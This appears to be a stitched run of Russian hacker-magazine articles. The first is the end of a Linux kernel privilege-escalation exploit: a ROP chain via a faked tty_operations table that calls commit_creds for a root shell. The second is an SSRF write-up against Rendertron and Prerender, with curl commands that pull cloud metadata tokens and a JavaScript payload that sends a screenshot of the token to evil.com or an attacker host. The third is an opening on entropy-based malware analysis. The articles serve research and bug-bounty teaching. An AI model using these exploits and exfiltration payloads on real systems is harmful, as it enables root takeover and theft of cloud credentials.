               

   
ptr = ((data[131] & 0xFFFFFFFF00000FFF)==0xffffffff000006a0 ?

data[131] : 0);
           if (ptr != 0) {
     printf("[+] ptm_unix98_ops address found: %p\n",data[131]);

          kernel_base = data[131]‐OFFSET(0xffffffff820af6a0); // 
Вычисляем kernel_base по смещению ptm_unix98_ops

      printf("[+] Kernel base address is %p\n", kernel_base);

          fake_tty_operations[12] = ADDR(xchg_eax_esp); // Пишем адрес 
инструкции xchg eax esp вместо указателя ioctl

      printf("[+] fake_tty_operations.ioctl is %p\n",
fake_tty_operations[12]);

     puts("[+] Preparing ROP chain");
                  unsigned long lower_address = ADDR(xchg_eax_esp) & 0xFFFFFFFF;

// Выделяем младшие 32 бита адреса xchg_eax_esp (stack pivot)
      printf("[+] Lower_address is %p\n", lower_address);

                  unsigned long base = ADDR(xchg_eax_esp) & 0xfffff000; // 
Готовим базу для фейкового стека в user space

     /* Выделяем память для фейкового стека */
     

   
     fake_stack=mmap(base, 0x10000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, ‐1, 0);

          if (fake_stack == MAP_FAILED)
       err_exit("[‐] mmap");

        printf("[+] Payload is mmaped to %p\n", fake_stack);
       /* ROPchain */

                unsigned long long rop_chain[] = {
         // Помещаем в RDI init_cred (первый параметр функции)
         ADDR(pop_rdi_ret),
         ADDR(init_cred),
         // Выполняем commit_creds(init_cred) и получаем UID 
процесса — 0 (root)
         ADDR(commit_creds),
         // Меняем местами (восстанавливаем) значения регистра GS и 
MSR (IA32_KERNEL_GS_BASE)
         ADDR(swapgs),
         // Пустышка для pop rbp гаджета swapgs
         0xdeadbeef,
         // Переключаем контекст на user space
         ADDR(iretq),
         // Запускаем shell
         shell,
         // Восстанавливаем регистры контекста
         user_cs,
         user_rflags,
         user_sp,
         user_ss
       };
       /* Копируем ROPchain по адресу, которым мы заменим RSP */

          memcpy(lower_address, rop_chain, sizeof(rop_chain));
        data[131]=&fake_tty_operations; // Помещаем указатель на 

fake_tty_operations в массиве data

       puts("[+] Writing function pointer to the driver");
       /* Заменяем указатель *tty_operations */

            user_to_kernel(fd, index, 0x420, data);
       del(fd,index);
       del(fd,index+1);

       puts("[+] Triggering");
       isTRY=false;
       /* Вызываем ioctl и запускаем цепочку эксплоита */

          ioctl(tty_fd, 0, 0);
     }
     puts("[*] ptm_unix98_ops not found, one more time...\n");
   }
 }
   return 0;
}

Од нако  пос ле  воз вра щения  в  user  space  наш  экс пло ит  «пада ет»  с  ошиб кой
Segmentation  fault,  и  если  для  обыч ного  при ложе ния  это  беда,  то  в  слу чае
с экс пло итом мы можем даже не раз бирать ся с проб лемой, а исполь зовать
это как пре иму щес тво! Ведь, пой мав этот сиг нал, мы можем повесить на него
запуск шел ла и сде лать экс пло ит еще более уни вер саль ным.

До бав ляем  в  исходник  заголо воч ный  файл    и  перех ватыва ем
сиг нал   с помощью фун кции  :

signal.h
SIGSEGV signal(SIGSEGV, shell);

#include <signal.h>
...

     int main () {
       bool isPTM = true;
 save_state();
     signal(SIGSEGV, shell); // Добавляем перехват сигнала SIGSEGV
 ...

Те перь  все  готово,  что бы  добыть  завет ный  флаг  рута,  путь  к  которо му  мы
прок ладыва ли с таким тру дом!

По луча ем root!

Бу ду  рад,  если  ты  почер пнул  новые  зна ния  и  у  тебя  про будил ся  инте рес
иссле довать  их  еще  глуб же. Несом ненно,  они  тебе еще не раз  при годят ся!
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ВЗЛОМ

Ди нами чес кий  рен деринг  —  это  тех ника,
которая  исполь зует ся,  что бы  отда вать
поис ковикам и ботам заранее отренде рен‐ 
ные  веб‐стра ницы.  В  этой  статье  я  иссле‐ 
дую,  как  две  популяр ные  ути литы
для  динами чес кого  рен дерин га  добав ляют
уяз вимос ти  в  веб‐при ложе ние,  если  нас‐ 
тро ены  неп равиль но,  и  поп робую  объ‐ 
яснить,  как  я  исполь зовал  уяз вимость
в  одном  из  них,  что бы  зах ватить  сер вер
ком пании в рам ках bug bounty.

Для  соз дания  сай тов  и  веб‐при ложе ний  активно  при меня ются  фрей мвор ки
JavaScript — вмес то ста тич ных стра ниц HTML теперь популяр но делать PWA
(progressive  web  apps)  и  SPA  (single  page  applications),  которые  фор миру ют
боль шую  часть  кон тента  в  бра узе ре  поль зовате ля.  У  это го  под хода  мас са
пре иму ществ, и на вебе это поз воля ет сде лать отзывчи вый интерфейс, но в
то же вре мя  такой под ход нед ружелю бен для  ,  потому что боль шинс тво
поис ковиков и ботов не понима ют JavaScript и не могут рен дерить стра ницы
самос тоятель но.

SEO

Один  из  рас простра нен ных  спо собов  помочь  ботам  в  таком  слу чае  —
это  открыть  зап рашива емую  стра ницу  в  headless‐бра узе ре  на  сто роне  сер‐ 
вера,  дож дать ся,  пока  стра ница  отри сует ся,  и  вер нуть  получив ший ся HTML,
пред варитель но  почис тив  его  от  лиш них  тегов.  Этот  метод  и  называ ется
«динами чес кий рен деринг» и сей час активно прод вига ется ком пани ей 
как воз можность опти мизи ровать сайт для поис ка.

Google

Я  нат кнул ся  на  этот  тип  при ложе ний,  ког да  про водил  нем ного  дру гое
иссле дова ние: я искал уяз вимос ти в модулях npm, которые исполь зуют head‐
less‐бра узе ры.  Я  написал  пра вила  для    (ути литы  с  откры тыми
исходни ками,  в  раз работ ке  которой  я  при нимаю  учас тие)  и  при менил  их
к  тысячам  модулей,  которые  исполь зуют  ,    и  PhantomJS
в качес тве зависи мос тей. Находок было мно го, и пос ле рас сле дова ния и раз‐ 
бора  резуль татов  я  обна ружил  мно жес тво  модулей,  помога ющих  веб‐мас‐ 
терам в орга низа ции динами чес кого рен дерин га.

Semgrep

Puppeteer Playwright
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Мой набор пра вил для Semgrep

По пуляр ность динами чес кого рен дерин га рас тет, поэто му будет небес полез‐ 
но понять, что может пой ти не так в про дак шене при его исполь зовании.

В  сво ем  иссле дова нии  я  разоб рал  два  самых  популяр ных  при ложе ния
для динами чес кого рен дерин га —   и  , но опи сан ные ата ки
мож но исполь зовать и для дру гих при ложе ний такого типа.

Rendertron Prerender

Так же я нем ного рас ска жу о том, как мне уда лось при менить получен ные
зна ния при поис ке уяз вимос тей в рам ках bug bounty.

АРХИТЕКТУРА
Один  из  воз можных  спо собов  показать  поис ковому  боту  под ходящий
для  индекса ции  кон тент  работа ет  так:  перех ватыва ется  зап рос,  стра ница
рен дерит ся  на  сер вере,  а  резуль тат  в  виде  HTML  со  всем  нуж ным  содер‐ 
жимым воз вра щает ся боту.

1. Сер вер опре деля ет, что зап рос при ходит от кра уле ра, по заголов ку User‐
Agent (в некото рых слу чаях — по парамет рам URL).

2. Зап рос перенап равля ется при ложе нию для динами чес кого рен дерин га.
3. При ложе ние  для  динами чес кого  рен дерин га  запус кает  headless‐бра узер
и откры вает исходный URL так, буд то его смот рит обыч ный поль зователь.

4. По лучив ший ся HTML очи щает ся от уже не нуж ных тегов   и воз‐ 
вра щает ся на сер вер.

<script>

5. Сер вер воз вра щает резуль тат кра уле ру.

РАЗВЕДКА
На  каких  стра ницах  обыч но  исполь зует ся  динами чес кий  рен деринг?  Эти
стра ницы,  ско рее  все го, будут  в откры том дос тупе,  пос коль ку  цель динами‐ 
чес кого рен дерин га —  улуч шить  их  индекси руемость.  Кон тент  на  этих  стра‐ 
ницах  будет  соз давать ся  при  помощи  JavaScript,  при  этом  дан ные  на  стра‐ 
нице  меня ются  динами чес ки.  Нап ример,  это  может  быть  новос тной  сайт,
который пос тоян но обновля ется, или час то обновля емый спи сок популяр ных
про дук тов в интернет‐магази не.

Ког да потен циаль ная цель най дена, мож но про верить, исполь зует ли она
динами чес кий рен деринг, отпра вив нес коль ко зап росов с раз ными зна чени‐ 
ями заголов ка  .User‐Agent

Вот зап рос, который прит воря ется Google Chrome:

curl     
 

https://shop.polymer‐project.org/ 

‐v ‐A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36"

А вот зап рос яко бы от бота Slack:

curl     
 https://shop.polymer‐project.org/ 

‐v ‐A "Slackbot‐LinkExpanding 1.0 (+https://api.slack.com/
robots)"

Ес ли отве ты от сер вера раз лича ются, а ответ на зап рос от под дель ного кра‐ 
уле ра при ходит в виде кра сиво го HTML без тегов  , это озна чает, что
сайт исполь зует динами чес кий рен деринг.

<script>
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В качес тве подопыт ного я исполь зовал 
  для  фрей мвор ка  .  Под  капотом

у него Rendertron.

де мосайт
Google Polymer

Срав нива ем зап росы

Под робнос ти того, на какие кон крет но зна чения   реаги рует при‐ 
ложе ние,  мож но  пос мотреть  в  исходном  коде  Rendertron  (файл

).  Так же Rendertron  всег да  воз вра щает  заголо вок 
.  Prerender  может  писать  в  отве тах  ,  но  это

не умол чатель ное поведе ние.

User‐Agent

middleware.ts X‐Renderer: 
Rendertron X‐Prerender:  1

Оба  фрей мвор ка  дают  раз работ чикам  воз можность  управлять  заголов‐ 
ками  отве та  с  помощью  метате гов  на  стра нице.  Это  полез но  для  детек та
динами чес кого рен дерин га.

При мер для Prerender:

     <meta name="prerender‐status‐code" content="302" />
   

 
<meta name="prerender‐header" content="Location: https://www.google.
com" />

При мер для Rendertron:

     <meta name="render:status_code" content="404" />

SSRF ПО-ЛЕГКОМУ
Лег че все го зах ватить при ложе ние для динами чес кого рен дерин га, если оно
дос тупно извне. Тог да мож но вза имо дей ство вать с ним нап рямую и отправ‐ 
лять  через  него  про изволь ные  зап росы,  вклю чая  зап росы  к  локаль ной
инфраструк туре.

Су щес тву ют  некото рые  зап реты  на  дос туп  к  локаль ным  адре сам,  но  в
зависи мос ти от вер сии при ложе ния их мож но поп робовать обой ти.

Rendertron
Rendertron  про ще  все го  най ти,  потому  что  у  него  есть  интерфейс,  который
поз воля ет отправ лять зап росы и делать скрин шоты.

Rendertron

 — есть воз можность задать спи сок раз решен ных URL (но
их нуж но нас тро ить самому).

• Вер сия 3.1.0

 — есть бло киров ка пря мых зап росов к Google Cloud,  тем
не менее ее мож но обой ти,  отпра вив  зап росы  через  iFrame, бло киров ка
не рас простра няет ся на дру гие облачные плат формы (AWS, Digital Ocean
и про чие).

• Вер сия 3.0.0

 бло киру ют зап росы к Google Cloud, но раз реша ют зап‐ 
росы  к  бета‐вер сии  API  (

).

• Ста рые вер сии

http://metadata.google.internal/com­

puteMetadata/v1beta1/

 — раз решены любые зап росы.• Вер сия 1.1.1 и млад ше

Rendertron API (из докумен тации):
 — отоб разит и сери али зует стра ницу;• GET /render/:url

 и   — сде лает скрин‐ 
шот стра ницы.

• GET /screenshot/:url POST /screenshot/:url

До пол нитель ные нас трой ки для headless‐бра узе ра мож но переда вать  через
объ ект  JSON  POST‐зап росом.  Под робнос ти  смот ри  в 

.  Еще мож но  ука зать  тип  (по  умол чанию  JPEG)  и  кодиров ку  (по  умол‐ 
чанию дво ичная).

до кумен тации  Pup‐
peteer

Итак,  если  ты  нат кнул ся  на  рабочий  Rendertron,  пер вое,  что  мож но  сде‐ 
лать, — это пред при нять SSRF‐ата ку и, к при меру, получить токены от обла ка
сле дующим спо собом:

curl https://rendertron‐instance.here/render/http://metadata.‐
google.internal/computeMetadata/v1beta1/instance/service‐accounts/de‐
fault/token 

Ли бо:

curl https://rendertron‐
instance.here/render/http://169.254.169.254/latest/meta‐data/ 
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От личная  под борка  при меров  атак  SSRF
на GitHub

Ес ли  зап росы  бло киру ются,  все  еще  есть шанс  зас тавить  Headless  Chrome
открыть  iFrame  и  показать  скрин шот,  содер жащий  метадан ные:  отпра вить
зап рос на   и нап равить Rendertron на стра ницу, которую ты кон‐ 
тро лиру ешь.

/screenshot

curl https://rendertron‐instance.here/render/http://www.attackers‐
website.here/iframe‐example 

HTML  по  адре су    содер жит  iFrame,  который
обра щает ся к API Google Cloud, дос тупно му толь ко на сер вере.

www.attackers‐website.here

<html>
 <head>
       

 
<meta content="text/html; charset=utf‐8" http‐equiv=

"Content‐Type" />
 </head>
 <body>
   <iframe
     src="http://metadata.google.internal/computeMetadata/v1beta1/
instance/service‐accounts/default/token?alt=json"
     width="468"
     height="600"
   ></iframe>
 </body>
</html>

В  резуль тате  мы  получа ем  скрин шот  с  фрей мом,  который  содер жит  сек‐ 
ретный токен.

Этот баг исправ лен в вер сии  .3.1.0

Prerender
У Prerender нет фрон тенда, поэто му его слож нее обна ружить. Поиск осложня‐ 
ется  еще  и  тем,  что  зап рос  на    воз вра щает  ста тус  400  без  инте рес ных
заголов ков:

/

   HTTP/1.1 400 Bad Request
 Content‐Type: text/html;charset=UTF‐8

 Vary: Accept‐Encoding
 Date: Mon, 03 Aug 2020 06:55:29 GMT

API Prerender выг лядит сле дующим обра зом.
• GET /:url

• GET /render?url=:url

• POST /render?url=:url

Спи сок всех нас тро ек мож но най ти в  , основные выводы:до кумен тации
Prerender тоже может делать скрин шоты;•

  (по  умол чанию  false)  раз реша ет  перенап равле ния
с одно го адре са на дру гой.

• followRedirects

Единс твен ный спо соб опре делить исполь зование Prerender — это отпра вить
зап рос  по  адре су    и  про верить
резуль тат. У Prerender нет встро енной бло киров ки зап росов к облачным API,
но он поз воля ет поль зовате лям задавать спис ки раз решен ных и заб локиро‐ 
ван ных URL, поэто му в зависи мос ти от нас тро ек есть веро ятность, что может
получить ся зап рос вро де такого:

/render?url=http://www.example.com

http://169.254.169.254/latest/meta‐data/ 
curl https://rendertron‐instance.here/render?url=

Так же  Prerender  соеди няет ся  с  Chrome  через  отла доч ный  интерфейс,
который всег да открыт на пор те 9222, поэто му если зап росы на этот адрес
раз решены, то есть воз можность вытащить Chrome ID.

http://localhost:9222/json/ 
curl https://rendertron‐instance.here/render?url=

Те перь мож но слать зап росы WebSocket к Chrome нап рямую и таким обра зом
управлять  встро енным  бра узе ром.  Нап ример,  откры вать  новые  вклад ки,
отправ лять про изволь ные зап росы, читать локаль ные фай лы (под робнос ти —
в докумен тации  ).Chrome DevTools Protocol

В статье я фокуси руюсь на том, что бы попытать ся вытащить сек реты через
API облачных про вай деров, но важ но пом нить, что, если в Rendertron или Pre‐
render  зап росы  к  обла ку  зап рещены,  все  еще  мож но  попытать ся  отпра вить
зап росы к дру гим час тям инфраструк туры — нап ример, к кешу или базам дан‐ 
ных.

Во вре мя иссле дова ния я нашел нес коль ко сер веров c тор чащим наружу
Rendertron, но bug bounty на них не было, поэто му тро гать их я не стал.

Продолжение статьи →

mailto:inkz@xakep.ru
https://en.wikipedia.org/wiki/Search_engine_optimization
https://developers.google.com/search/docs/guides/dynamic-rendering
https://semgrep.dev/
https://pptr.dev/
https://github.com/microsoft/playwright
https://semgrep.dev/p/headless-browser
https://github.com/GoogleChrome/rendertron
https://github.com/prerender/prerender
https://shop.polymer-project.org/
https://www.polymer-project.org/
https://github.com/GoogleChrome/rendertron/blob/a1dd3ab1f054bc19e89dcdecdb71dc004f7d068e/middleware/src/middleware.ts#L24
https://github.com/GoogleChrome/puppeteer/blob/v1.6.0/docs/api.md#pagescreenshotoptions
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
https://github.com/GoogleChrome/rendertron/releases/tag/3.1.0
https://github.com/prerender/prerender#url
https://chromedevtools.github.io/devtools-protocol/


БЕЗ БАШКИ
ЭКСПЛУАТИРУЕМ ДИНАМИЧЕСКИЙ

РЕНДЕРИНГ ДЛЯ ЗАХВАТА ВЕБ‐ПРИЛОЖЕНИЙ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

АТАКИ ЧЕРЕЗ ВЕБ-ПРИЛОЖЕНИЯ
В поис ках под ходящих сер веров (с уяз вимостью и под лежащих bug bounty) я
прос то  отправ лял  на  все  воз можные  домены  зап росы  с  заголов ком 

. Все го один раз я получил ответ с заголов ком 
,  но  это го  ока залось  дос таточ но,  что бы  зарабо тать

воз награж дение. :)

User‐
Agent: Slackbot blabla X‐
Renderer:  Rendertron

Ес ли при ложе ние для динами чес кого рен дерин га не тор чит наружу, но ты
смог опре делить, что сайт его исполь зует, все еще есть шанс про вес ти ата ку.
В  этом  может  помочь  любой  спо соб  встро ить  свой  кон тент  в  стра ницу
или перенап равить стра ницу на ту, в  которой мож но кон тро лиро вать содер‐ 
жимое.  Прос тей ший  вари ант  —  это  най ти  open  redirect.  Который,  к  сло ву,
мно гие прог раммы bug bounty не при нима ют за уяз вимость.

Ес ли open  redirect най ден,  то лег ко устро ить ата ку, прос то отпра вив зап‐ 
росы:

curl   

http://metadata.google.internal/computeMetadata/v1beta1/ 

‐A "Slackbot‐LinkExpanding 1.0 (+https://api.slack.com/robots)" 
https://www.website.com/redirectUrl=

curl   

http://169.254.169.254/latest/meta‐data/ 

‐A "Slackbot‐LinkExpanding 1.0 (+https://api.slack.com/robots)" 
https://www.website.com/redirectUrl=

Так же мож но перенап равить на стра ницу, содер жащую фрей мы, если пря мые
зап росы заб локиро ваны.

По иск XSS‐ или HTML‐инъ екции выг лядел слож ной задачей, поэто му я сфо‐ 
куси ровал ся  на  поис ке open  redirect. Мне повез ло,  и  цель,  которую  я  обна‐ 
ружил, была уяз вима к нему.

Боль шинс тво  шпар галок  и  обу чающих  матери алов  по  open  redirect
фокуси руют ся  на  перенап равле ниях,  которые  про исхо дят  через  сер вер.
Но  так  как  динами чес кий  рен деринг  исполь зует ся  на  стра ницах  с  боль шим
количес твом  слож ного  JavaScript,  боль ше  веро ятность  най ти  уяз вимость
на сто роне кли ента.

С  этой  задачей  мне  силь но  помог  Semgrep.  Я  наб росал  кучу  шаб лонов
того,  как  может  воз никнуть  редирект  в  JavaScript,  и  ска ниро вал  весь  код
на стра ницах, при над лежащих моей цели. Бук валь но в течение часа open re‐
direct был най ден.

WWW

На бор пра вил, которые я исполь зовал

Те перь  оста лось  толь ко  зас тавить  headless‐бра узер  совер шить  перенап‐ 
равле ние и вытащить метадан ные от Google Cloud (URL был изме нен, что бы
не раз гла шать информа цию о при ват ной bug bounty).

При мер с bug bounty

Это сра бота ло, и я получил воз награж дение за най ден ную уяз вимость.
Мне повез ло — я нат кнул ся на уста рев шую вер сию, которая не бло киро‐ 

вала пря мые  зап росы  к метадан ным,  но,  если бы они были  заб локиро ваны,
все рав но была бы воз можность зап росить их через iFrame. Одна ко есть одна
проб лема —  получить  содер жимое  это го  iFrame.  Для  это го  мож но  исполь‐ 
зовать фун кцию сня тия скрин шотов стра ницы. Сце нарий ата ки выг лядит сле‐ 
дующим обра зом.

Rendertron hack sequence

  Стра ница,  которая  кон тро лиру ется  ата кующим,  откры вает ся  во  вклад ке
headless‐бра узе ра — «Стра ница #1».
1.

<html>
 <body>
   <script type="text/javascript">
     fetch(
       "http://localhost:3000/render/http://localhost:3000/render/
http://www.attackers‐website.url/exploit.html"
     );
   </script>
 </body>
</html>

  Это  зас тавля ет  бра узер  отпра вить  зап рос  самому  себе  (локаль но)
и  показать  резуль тат  рен дерин га  с  веб‐стра ницей  ата кующе го  («Стра‐ 
ница #2»).

2.

http://localhost:3000/render/http://localhost:3000/render/http://www.
attackers‐website.url/exploit.html 

 Headless‐бра узер откры вает URL («Стра ница #3»), который сно ва отправ‐ 
ляет зап рос в при ложе ние для рен дерин га.
3.

http://localhost:3000/render/http://www.attackers‐website.url/ex‐
ploit.html 

 Бра узер откры вает еще одну стра ницу, кон тро лиру емую ата кующим, —
  («Стра ница  #4»)  —

со сле дующим кодом:

4–5.

http://www.attackers‐website.url/exploit.html

<html>
 <body>
   <img
     id="hacked"
     src="http://localhost:3000/screenshot/http://metadata.google.
internal/computeMetadata/v1beta1/?width=800&height=800"
     width="800"
     height="800"
   />
   <img
     src="x"
     onerror='(n=0,i=document.getElementById("hacked"),i.
onload=function(){n++;e=document.createElement("canvas");e.width=i.
width,e.height=i.height,e.getContext("2d").drawImage(i,0,0);t=e.
toDataURL("image/png");if(n>1){fetch("http://www.evil.com",{method:
"POST",body:JSON.stringify(t)})}})()'
   />
 </body>
</html>

Пол ная вер сия кода на JavaScript, который выпол няет ся по событию  :onerror

     var n = 0;
       var img = document.getElementById("hacked"); // <‐‐ скриншот с 

метаданными

     img.onload = function() {
 // Когда скриншот загрузился:
 n++;

 // Скопировать скриншот в элемент типа canvas
       var canvasEl = document.createElement("canvas");
     (canvasEl.width = img.width),
       (canvasEl.height = img.height),
       canvasEl.getContext("2d").drawImage(img, 0, 0);

 // Получить содержимое скриншота
       var imgContent = e.toDataURL("image/png");

         if (n > 1) {
     fetch("http://www.attackers‐website.url", {
     // Отправить содержимое скриншота атакующему

      method: "POST",
      body: JSON.stringify(imgContent),

   });
 }
};

  Бра узер соз дает  скрин шот  стра ницы,  которая содер жит  iFrame с дан‐ 
ными от облачно го API. Нап ример:
6–7.

http://metadata.google.internal/computeMetadata/v1beta1/ 

  Затем  бра узер  отправ ляет  его  на  хост  ата кующе го,  но  оба  зап роса
не будут работать из‐за защиты   (изоб ражение извле кает ся из  localhost,
в  то  вре мя  как  текущий  URL —  ).  Тем
не  менее  получен ный  HTML‐код  воз вра щает ся  в  headless‐бра узер  («Стра‐ 
ница #3»).

8.

SOP
http://www.attackers‐website.url

  Тот же HTML‐код отоб ража ется внут ри вклад ки бра узе ра  («Стра ница
#3»),  но  на  этот  раз  все  зап росы  работа ют,  потому  что  пра вила  SOP
не  наруша ются  (хост  стра ницы  такой  же,  как  и  у  изоб ражения,  —
localhost:3000).

9–10.

 Изоб ражение с токеном отправ ляет ся ата кующе му.11.

Ад рес  ,
который  час то  исполь зует ся  в  при мерах,  уста рел.  В  Google  объ яви ли,  что
ско ро  он  перес танет  отве чать  и  экзем пля ры  Rendertron,  работа ющие
в Google  Cloud,  боль ше  не  будут  так  лег ко  отда вать  свои  токены.  В  любом
слу чае  имей  в  виду,  что  методо логия  и  при емы  это го  иссле дова ния  могут
при менять ся не толь ко для уго на облачных токенов, но и для исполь зования
SSRF в целом.

http://metadata.google.internal/computeMetadata/v1beta1

СОВЕТЫ И ТРЮКИ

 Как упо мина лось ранее,
при ложе ния для динами чес кого рен дерин га отсе кают теги   и ссыл ки
на  JavaScript,  но  код  внут ри  атри бутов  оста ется  нет ронутым,  поэто му  будет
работать и при водить к XSS‐перенап равле нию вро де такого:

Ес ли  не  получа ется  про экс плу ати ровать  SSRF,  но  open  redirect

на стра нице есть, то мож но про вер нуть XSS.

<script>

<html>
 <body>
         <img src="x" onerror="alert(1)" />
 </body>
</html>

И никаких проб лем с CORS, так как код выпол нится по адре су стра ницы!

INFO

•Rendertron и Prerender ищут в HTML 
,  которые  исполь зуют ся

для  манипу ляции  с  отве тами.  Это  не  уяз‐ 
вимость,  но  может  исполь зовать ся  как  часть
ата ки,  если  ата кующий  име ет  воз можность
встро ить  HTML  в  стра ницу  и  таким  обра зом
манипу лиро вать отве том (нап ример, пере опре‐ 
делить  X‐Frame‐Options  или  поменять  один
из заголов ков CORS).

спе циаль‐ 
ные  метате ги

•В обо их при ложе ниях мож но нас тра ивать 
  для  зап рашива емых  URL,

но  есть  шанс  обой ти  их  с  помощью 
.

спис‐ 
ки  бло киро вок

трю ков
с DNS

ВЫВОД
Ди нами чес кий рен деринг набира ет популяр ность, и он будет исполь зовать ся
все чаще, так как это разум ный спо соб сов местить исполь зование сов ремен‐ 
ного  JavaScript  и  SЕО.    и  дру гие  ком пании  прод вига ют  этот  под ход,
поэто му важ но понять, какие сла бос ти эта тех нология может при нес ти.

Google

Ес ли  ты в  коман де защиты,  то будь в  кур се,  что headless‐бра узер внут ри
инфраструк туры  может  добавить  мно го  уяз вимос тей,  если  нас тро ен  неп‐ 
равиль но. И даже самые малень кие огре хи в безопас ности могут быть пер‐ 
вым  шагом  к  RCE.  К  счастью,  мно го  подоб ных  мелочей  мож но  най ти
с помощью сов ремен ного  .ста тичес кого ана лиза кода

Ес ли ты ата кующий, исполь зуй новые зна ния во бла го!
Ес ли же ты раз рабаты ваешь при ложе ние с headless‐бра узе ром внут ри, то

еще раз порек ламирую тебе   как средс тво для поис ка багов в коде.Semgrep

https://semgrep.dev/p/clientside-js
https://developer.mozilla.org/ru/docs/Web/Security/Same-origin_policy
https://docs.google.com/presentation/d/1O7MxvbIfRcPSlbyZbFxD-fAR34XlquQSlRAHPb2kR4E/edit#slide=id.p
https://developers.google.com/web/tools/puppeteer/articles/ssr
https://semgrep.dev/p/headless-browser
https://semgrep.dev/
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ВЗЛОМ

В  борь бе  со  злов редами  вирус ные  ана лити ки  исполь зуют
мно жес тво  методов  и  целый  арсе нал  спе циаль ного  соф та.
Но  самая  пер вая  из  сто ящих  перед  ними  задач  —  опре‐ 
делить,  дей стви тель но  ли  им  в  руки  попал ся  вре донос ный
обра зец,  или  это  что‐то  безобид ное.  Решить  ее  помога ет
изу чение показа теля под наз вани ем «энтро пия». Сегод ня мы
рас ска жем, как работа ет эта тех ника вирус ного ана лиза.

Что  такое  энтро пия?  У  это го  понятия  есть  опре деле ния  в  раз ных  областях
науки,  зна чащие  в  общих  чер тах  одно  и  то  же.  В  тер минах  информа тики —
это показа тель  хаотич ности, или слу чай нос ти рас пре деле ния зна чений бай‐ 
тов в фай ле. Усло вим ся, что под этим тер мином мы име ем в виду 

.  Того  самого  челове ка,  который  в  1948  году  пред ложил  исполь‐ 
зовать сло во «бит» для обоз начения наимень шей еди ницы информа ции.

эн тро пию
Шен нона

Оку нем ся нем ного в матема тику. Энтро пия любого фай ла в общем слу чае
счи тает ся методом «сколь зящего окна» по всем бай там фай ла. Зву чит страш‐ 
но,  но  на  самом  деле  про ще,  чем  кажет ся.  Что бы  понять  прин цип  сколь‐ 
зящего окна, дос таточ но взгля нуть на рисунок.

Сколь зящее окно

Сна чала рас счи тыва ются час тоты  f  появ ления для каж дого воз можно го зна‐ 

чения бай та  (i = 0..255). Нап ример, в пер вом окне зна чение бай та сог ласно
 (десятич ное зна чение = 180) рав но сим волу  . В ито ге получа‐ 

ется вот такая гис тограм ма по количес твам вхож дений опре делен ных бай тов
в фай ле (ее ты можешь уви деть сам в любом Hex‐редак торе).

i

таб лице ASCII ´

Час тотное рас пре деле ние бай тов в объ екте в прог рамме Hex Workshop

За тем най ден ные час тоты (f ) сум миру ются по фор муле ниже, и в резуль тате

мы получим зна чение энтро пии.
i

Суть  ана лиза  энтро пии  зак люча ется  в  том,  что  в  ском пилиро ван ном  фай ле
обыч ной  прог раммы  учас тки  кода  рас пре деле ны  более‐менее  рав номер но,
как  мас ло  на  бутер бро де.  При  исполь зовании  кодиров щиков  или  обфуска‐ 
ции,  упа ков щиков,  алго рит мов  сжа тия  или  вста вок  подоб ного  рода  кода
в  исходный  файл  такая  рав номер ность  наруша ется.  В  фай ле  появ ляют ся
высоко энтро пий ные  области  (как  буд то  кон цен три рован ный  белый  шум)
и области, менее под вер гну тые обфуска ции или шиф рованию (кодиро ванию),
если  про дол жить  метафо ру  бутер бро да —  комоч ки  в  мас ле  или  прос лой ки
варенья.

Од но  из  харак терных  свой ств  алго рит мов  сжа тия — перерас пре деле ние
час тот  встре чаемос ти  бай тов  кода  (для  всех  256  зна чений),  что  и  ста нет
замет но при ана лизе! В таких фай лах будет высокая сте пень энтро пии, близ‐ 

кая к мак сималь ному зна чению 8 (2  = 256). То есть чем выше энтро пия, тем
мень ше избы точ ности в фай ле.

8

Для  закоди рован ных  (сжа тых,  зашиф рован ных)  фай лов  на  прак тике  зна‐ 
чение  энтро пии  свы ше  семи  мож но  счи тать  поч ти  100%‐м  приз наком  при‐ 
мене ния пре обра зова ния кода, в то вре мя как обыч ные фай лы име ют энтро‐ 
пию  в  рай оне  2–6.  Час то  на  прак тике  энтро пию  в  фай ле  или  выделен ном
фраг менте  фай ла  изме ряют  в  про цен тах  (тут  иног да  так же  исполь зуют
понятие «избы точ ность»).

По каза тель уве личе ния энтро пии в зависи мос ти от содер жимого объ ‐
екта

Пред ста вим,  что  есть  какой‐то  объ ект,  в  который  потен циаль ный  зло умыш‐ 
ленник  может  внед рить  вре донос ный  код.  Он  помеща ет  полез ную  наг рузку
в ори гиналь ный файл, сжи мает или зашиф ровыва ет опре делен ный фраг мент
дан ных, тем самым уве личи вая энтро пию. С точ ки зре ния вирус ного ана лити‐ 
ка,  мож но  быс тро  про верить  обра зец  и  его  сек ции  на  энтро пию,  понять,
запако ван  он  или  обфусци рован,  и,  исхо дя  из  этой  информа ции,  выб рать
методо логию для ана лиза объ екта. Итак, какие есть инс тру мен ты для под сче‐ 
та энтро пии?

На ибо лее  популяр ные  инс тру мен ты  для  про веде ния  ана лиза  объ ектов
по энтро пии:

;• Detect It Easy (DIE)
;• PortEx

.• IDAtropy (пла гин для IDA Pro)

Вос поль зуем ся пер вой прог раммой — Detect It Easy (DIE) — и раз берем пару
при меров с популяр ным образцом Agent Tesla.

Agent  Tesla —  это  модуль ное  прог рам мное  обес печение  для  шпи она жа,
которое  рас простра няет ся  по  модели  malware‐as‐a‐service  под  видом  кей‐ 
лог гера. Этот шпи он спо собен извле кать и переда вать на сер вер зло умыш‐ 
ленни кам  учет ные  дан ные  поль зовате ля  из  бра узе ров,  поч товых  кли ентов
и кли ентов FTP, регис три ровать содер жимое буфера обме на, делать сним ки
экра на.  На  момент  ана лиза  офи циаль ный  сайт  раз работ чиков  был  недос‐ 
тупен.

На  скрин шотах  интерфей са  ути литы  пред став лена  сле дующая  информа‐ 
ция:

тип фай ла;•
об щая оцен ка энтро пии;•
ста тус (запако ван ли файл, если нет — перед нами «чис тый» текст);•
под счет энтро пии иско мого фай ла посек цион но (Regions) и его ста тус;•
гра фик энтро пии (ось Х — сме щение, ось Y — оцен ка энтро пии).•

Гра фики энтро пии для образца Agent  Tesla и еще одной его раз новид ности
показа ны ниже.

Ре зуль тат ана лиза образца 1 в прог рамме DIE

Ре зуль тат ана лиза образца 2 в прог рамме DIE

Ти пич ный при мер — ког да PE‐заголо вок чита ется (энтро пия низ кая), одна ко
